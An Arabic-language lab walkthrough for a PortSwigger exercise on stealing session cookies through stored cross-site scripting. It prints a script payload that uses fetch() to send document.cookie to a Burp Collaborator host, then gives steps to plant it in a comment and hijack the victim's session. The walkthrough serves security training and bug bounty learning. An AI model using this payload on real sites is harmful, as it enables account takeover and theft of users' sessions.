لاب رقم (21) | PRACTITIONER Exploiting cross-site scripting to steal cookies

دليل كامل لاستغلال ثغرات XSS لسرقة ملفات تعريف الارتباط (Cookies). تعلم كيفية استخدام Burp Collaborator و fetch API لتنفيذ هجوم Session Hijacking في ل

سرقة الـ Cookies عبر XSS: كيف يخترق الهاكرز الحسابات بصمت؟ 🍪🕵️‍♂️

Exploiting cross-site scripting to steal cookies

مرحباً بكم في الدرس الأكثر إثارة! اليوم سننتقل من مرحلة "إثبات وجود الثغرة" إلى مرحلة "الاستغلال الحقيقي". الهدف اليوم هو سرقة Session Cookie الخاص بالضحية وإرساله إلى سيرفرنا الخاص لنتمكن من الدخول إلى حسابه دون الحاجة لاسم مستخدم أو كلمة مرور!

تطبيقنا اليوم يعتمد على مفهوم متقدم في لابات PortSwigger:
Exploiting cross-site scripting to steal cookies

جهز معملك الرقمي، سنستخدم اليوم Collaborator لاستقبال البيانات المسروقة. لنبدأ! 🚀


🔍 لماذا نسرق الـ Cookies؟

عندما تقوم بتسجيل الدخول، يعطيك المتصفح "تذكرة" تسمى Session ID وتُخزن في الـ Cookies. طالما يمتلك الهاكر هذه التذكرة، يمكنه إقناع السيرفر بأنه هو "أنت".

في لغة JavaScript، يمكننا الوصول لهذه التذاكر ببساطة عبر أمر: document.cookie، إلا إذا كانت محمية بخاصية HttpOnly (وهو ما نفترض عدم وجوده في هذا اللاب).


🧠 خطة الهجوم (The Exfiltration Plan)

الهجوم يتكون من ثلاث خطوات:

  1. تجهيز المصيدة: استخدام Burp Collaborator للحصول على رابط فريد (Link) يعمل كسيرفر استقبال.
  2. حقن الكود: وضع كود JavaScript يقوم بقراءة الـ Cookies وإرسالها إلى هذا الرابط.
  3. انتحال الشخصية: أخذ الـ Cookie المسروق ووضعه في متصفحنا للدخول للحساب.

🛠️ الـ Payload القاتل

سنستخدم وسم <script> لإرسال طلب HTTP يحتوي على الـ Cookies إلى سيرفرنا:

<script> fetch('https://YOUR-COLLABORATOR-ID.oastify.com', { method: 'POST', mode: 'no-cors', body: document.cookie }); </script>

لماذا استخدمنا fetch؟
لأنها طريقة حديثة وسهلة لإرسال البيانات. الكود يقوم بجلب الـ document.cookie وإرساله كجسم (Body) لطلب POST إلى الرابط الخاص بك في Collaborator.


📝 خطوات الحل العملية

  1. افتح Burp Suite واذهب لتبويب Collaborator واضغط Copy to clipboard.
  2. اذهب لقسم التعليقات في اللاب، وضع الـ Payload أعلاه مع استبدال الرابط برابطك الخاص.
  3. اضغط Post Comment وانتظر ثواني (حتى يقوم "الضحية" بمشاهدة تعليقك).
  4. ارجع لـ Collaborator واضغط Poll now.
  5. ستجد طلب POST وصل إليك، انظر في الـ Body الخاص به.. مبروك! لديك الـ session=... الخاص بالضحية.

🎭 مرحلة انتحال الشخصية (Impersonation)

الآن بعد أن حصلت على الـ Cookie:

  • افتح الصفحة الرئيسية للموقع.
  • افتح الـ Developer Tools (F12) واذهب لتبويب Application ثم Cookies.
  • قم بتغيير قيمة الـ session الحالية بالقيمة التي سرقتها.
  • قم بتحديث الصفحة (Refresh).. ستجد نفسك الآن داخل حساب الضحية (غالباً حساب Administrator)!

💡 نصيحة صياد (Security Best Practices)

  • HttpOnly: كباحث أمني، إذا وجدت XSS ولكنك لم تستطع الوصول للـ Cookies، فغالباً لأن المبرمج استخدم خاصية HttpOnly التي تمنع JavaScript من قراءتها.
  • Burp Collaborator: هو أقوى أداة لاكتشاف الثغرات "العمياء" (Blind XSS) التي لا تظهر نتائجها أمامك مباشرة.

🚀 الخاتمة

سرقة الـ Cookies هي التي تحول ثغرة XSS من "خطأ بسيط" إلى "كارثة أمنية". فهمك لهذا التسلسل يجعل تقاريرك في برامج الـ Bug Bounty ذات قيمة عالية جداً (Critical Severity).

إرسال تعليق